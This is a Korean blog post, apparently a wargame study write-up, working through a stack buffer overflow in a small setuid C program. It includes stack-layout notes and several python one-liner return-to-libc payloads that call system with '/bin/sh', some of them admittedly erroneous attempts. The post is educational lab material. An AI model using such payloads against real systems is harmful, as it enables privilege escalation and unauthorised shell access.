2017. 11. 27. 23:25ㆍ0x04 pwnable
#include <stdlib.h>
main(int argc, char *argv[])
{
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc > 1)
strcpy(buf,argv[1]);
if(i != 0x1234567) {
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
0x418 = 1048(dec)
0x400 = 1024(dec)
buf[1024]에서는 0x400은 실제 값 + 0x18은 더미값(24 dec)
0xbfffdf30: 0x08048308 0x42130a14 0xbfffdf48 0x01234567
여기만 안건들면 되겠는데
A가 들어가는 시작주소가 0xbfffdb30 인데 ASLR 적용되어있는지 테스트하자
ASLR 적용되어있습니다.
libc.so.6을 이용하여 rtl 공격을 진행해보자.
i값만 건들면 안됨.
우선 시스템의 주소는 0x4203f2c0이다
/bin/sh의 오프셋주소는 0x127ea4인데 libc.so.6의 베이스주소와 합해야 한다.
그럼 42127ea4가 된다.
ASLR때문에 다시 보게 되면 시작주소는 0xbfffedf0
0x1234567 근처 주소는 0xbffff1fb
이 둘의 차는 0x40B (1035)
그럼 다시 1035를 A로 덮으면? 딱 0x01234567만 살아있게 된다
그럼 1035를 A로 덮고 8바이트는(스택가드적용시킨다음) + 1바이트 더미 + 4바이트 리턴주소 하면?
rtl로 다시 생각하면 1031을 dummy + system주소 + 8바이트 스택가드 + 1바이트 더미 + 4바이트 bin/sh주소
`python -c 'print "\x90"*1028+"\xc0\xf2\x03\x42"+"\x67\x45\x23\x01"+"\x90"+"\xa4\x7e\x12\x42"'`
1048(더미 24크기포함) 이렇게 하는 순간 1035초과해서 스택가드 초과해버림...
스택가드의 위치는 1036부터 그럼 1048까지 8바이트정도 여유공간 (4바이트 nop , 4바이트 시스템주소)
`python -c 'print "\x90"*1035+ "\x67\x45\x23\x01" + "\x90"*4 + "\c0\xf2\x03\x42" + "\xa4\x7e\x12\x42"'`
여기까지 내가 삽질한 부분
책을 한번 보도록 하자 어디서 잘못됬는지
내가 적었던 "buf[1024]에서는 0x400은 실제 값 + 0x18은 더미값(24 dec)"
여기가 잘못되었던 것이다.
sub esp, 0x418은 "스택"에서 쓰이는 전체의 크기를 일컫는 것이지.
buf만의 공간이 아니었다... 이거 실수했네
그럼, buf공간은 1024만큼
long i 공간은 4만큼
나머지 공간 20이 남는다
mov dword ptr [ebp-12], 0x1234567 밑에
sub esp, 0x8이 있으므로 i의 더미는 8
총 1048
buf공간 1024
buf 더미 (1048 - 1036 = 12)
long i 공간 4 (아까 확인 한 결과 1036번째 부터 들어간다)
long i 더미 8
이제 나는 여기서 long i 공간 4 (0x1234567)을 침범해선 안 된다.
`python -c 'print "\x90"*1036 + "\x67\x45\x23\x01" + "\x90"*8 + "\x90"*4(sfp) + "retn addr"'`
ASLR이 걸려 있기 때문에
./attackme `python -c 'print "\x90"*1036 + + "\x67\x45\x23\x01" + "\x90"*12 + "\xc0\xf2\x03\x42" + "A"*4 + "\xa4\x7e\x12\x42"'`
[ buf + buf's dummy 처리 ] [stack guard 안건듬] [/bin/sh주소]
buf + buf dummy + system 주소 + 더미4개 + /bin/sh
-> rtl
rtl i값 (스택가드) -> i값을 놔두고 일 처리
-> 버퍼의 크기(변수 길이를 체킹) ->
1048이 총 길이가 되니까 + 4(sfp) + 4(ret) => \x90 *8
epb-12 , ebp-1048 -> buf의길이는 1036
1040 + 8 + 4 ret
'0x04 pwnable' 카테고리의 다른 글
ASLR 적용 된 바이너리 ASLR 해제하기~ (0) | 2017.12.06 |
---|---|
bof 기초 (0) | 2017.11.27 |
rtl 공부 (0) | 2017.11.27 |
Main HEAP and Thread HEAP (0) | 2017.10.30 |
공부 내용 (0) | 2017.10.23 |